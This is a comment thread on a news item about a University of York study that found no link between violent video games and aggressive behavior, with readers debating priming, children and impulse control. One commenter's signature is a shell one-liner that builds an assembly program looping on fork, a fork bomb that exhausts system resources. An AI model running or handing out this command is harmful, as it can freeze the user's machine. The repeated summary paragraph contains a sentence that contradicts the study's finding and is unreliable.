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New Study Finds No Link Between Violent Video Games and Behavior (dailydot.com)
An anonymous reader quotes a report from The Daily Dot: Scientists have been investigating the impact of violent video games on behavior for more than two decades, and the results are still being debated. In a 2015 resolution on games, the American Psychological Association reported that multiple studies found a link between violent game exposure and aggressive behavior, though critics at the time questioned the findings. Now, a new study published by researchers at the University of York in the journal Computers in Human Behavior further challenges the connection.
It has long been theorized that exposure to in-game concepts like violence has a "priming" effect on players that ultimately impacts behavior, leading scientists to believe that a player exposed to in-game violence will be more susceptible to displaying such violence in real life. The new study found the exact opposite to be true in some instances. In a series of experiments with a little over 3,000 participants (more than any past study to date), university researchers found that exposure to video game concepts like violence won't necessarily impact behavior. It also found that increasing the realism of violent video games does mean aggressive behavior in gamers will increase.
It has long been theorized that exposure to in-game concepts like violence has a "priming" effect on players that ultimately impacts behavior, leading scientists to believe that a player exposed to in-game violence will be more susceptible to displaying such violence in real life. The new study found the exact opposite to be true in some instances. In a series of experiments with a little over 3,000 participants (more than any past study to date), university researchers found that exposure to video game concepts like violence won't necessarily impact behavior. It also found that increasing the realism of violent video games does mean aggressive behavior in gamers will increase.
When you're sitting on the couch in your underwear playing video games 10 hours a day.
The fact that the study accepted the null hypothesis argues against this being junk science. The flux in the field, with established concepts like priming being vigorously challenged, is actually good sign.
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This study has a few problems. For one, the participants were all adults; the argument is usually that violent video games have a harmful effect on children whose minds are still developing, and these experiments don't assess that. Furthermore, several studies found that short-term aggression was increased by playing violent video games, but there was a lack of evidence for any long-term effects. This experiment didn't study long-term effects, either.
IMO the theories on how violent video games might mentally harm children approach Intelligent Design levels of pseudoscience, pushed by moral guardians who have a knee-jerk "think of the children!" reaction. I've played lots of violent video games, and the ones that most realistically depict violence are pretty disturbing; they make me less likely to want to employ violence, if anything.
What I'd REALLY like to see is if a VR game where you use motion controllers to punch people makes the players more likely to employ punches in real life afterward (in say some roleplay with a dummy where a punch, kick, or handshake can be employed.) I wonder if muscle memory (pressing a button on a Dualshock is nothing like throwing an actual punch) and feeling that the game isn't real (VR takes this away) are the main things stopping a connection between in-game violence and real-life aggressive tendencies. However, there's a big difference between "I'm curious if" and "I'm certain, therefore it must be made illegal immediately." I also chuckle at the idea that 'ragdoll physics' apparently equals 'realism' now; all those hours playing UT2003 and I never realized how REAL it was.
Corruption is convincing someone that the selfless ideal is the same as their selfish ideal.
those who spend huge amounts of time playing video games avoid personal growth and avoid connecting with the world.
Do you have any actual evidence for this? Or are you just spouting off the same "conventional wisdom" that is debunked by this study?
Sure, introverts may be socially isolated and play a lot of video games. But that doesn't imply that the games caused the isolation, nor does it imply that the isolation is actually harmful, to the introverts or to the rest of society.
When I was a kid, there were no video games (other than "Pong"), yet we still had socially isolated people, watching Star Trek on TV, reading SciFi, and playing D&D. So are interactive video games "worse" in some way compared to likely alternative activities? I have seen zero evidence for that.
"If Pac-Man had affected us as kids, we'd all be running around in dark rooms, munching pills and listening to repetitive electronic music."
* Marcus Brigstocke
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
This is correct obviously, but there are 2 important distinctions that you left out that make a huge impact on the discussion about games/media and violence,
Firstly, as an avid gamer since my teens I've played a lot of violent games, and I find myself often thinking about them when I'm not playing, but those thoughts are not violent in nature. That's because I don't think of shooting a virtual enemy as an act of violence anymore so than I think about capturing a pawn on a chess board as an act of violence. I find myself thinking about stuff like level layouts, how to improve my use of cover, etc stuff that relates to my goal, which is completing the game. I don't play the games because they're violent, I play them because I enjoy puzzles and challenges, and games offer that. Some of them with a violence as a mechanic, some of them without it. I've never had violent thoughts towards real people as a result of playing a lot of games, because my mind is perfectly capable of discerning between actual violence, and a a virtual character on screen being 'shot' at.
Secondly, even if one's thinking about violence, that does not automatically mean one will become more likely to be violent. Here as an example I'll use my brother who in his teens was actually quite aggressive and short tempered as many young males especially are and often got into fights. Then he started kickboxing, which is an extremely violent sport by all metrics. Now, is he thinking more about violence these days than in his teens? Very likely so, he watches matches, practices a lot and teaches techniques etc. But he's not gotten into fights outside the ring since he became an adult because he's now found himself a 'game' in the real world that has given him an avenue to deal with violence in a manner that's more sensible, and also more rewarding as it is a competition. He's learned a lot about respecting other people via the sport. So for him not only thinking but actively engaging in more violence in a controlled setting has actually made him less likely to be a risk for others in the world. He's much more in tune with his emotional responses to situations now, and while he still gets angry and loud easily, he doesn't transition from yelling to actually punching someone but has instead learned to walk away from the situations before they spiral out of control. That self-control is entirely the rest of a combat sport (and good coaches) teaching him discipline.
The primary question with regards to games and media of a violent nature is therefore not 'does the media make people think about violence more?' because even if it does that's not necessarily a bad thing, but 'does the media lessen people's impulse control and/or dehumanize other individuals so that they're more likely to use violence in the real word?'. To me there's no evidence that this is the case. Violent crime has gone down and is going down in pretty much all advanced societies, even though the amount of violent media in different and more graphical forms (think Game of Thrones cutting of limbs and dicks and burning people alive, murdering children etc) has exploded.
Now it's also obvious that people with pre-existing violent tendencies still likely gravitate towards violent entertainment, but as is the case with my brother, I remain unconvinced that that is necessarily a bad thing, because these are precisely the people who in fact need to think about violence and their own relation to it more in order to attain control over their own impulses and behavior towards others, and it's far better for them to do it via something like a game or sport rather than actually getting themselves into violent situations.
"It is the business of the future to be dangerous" -Alfred North Whitehead
i jaywalk becuase of Frogger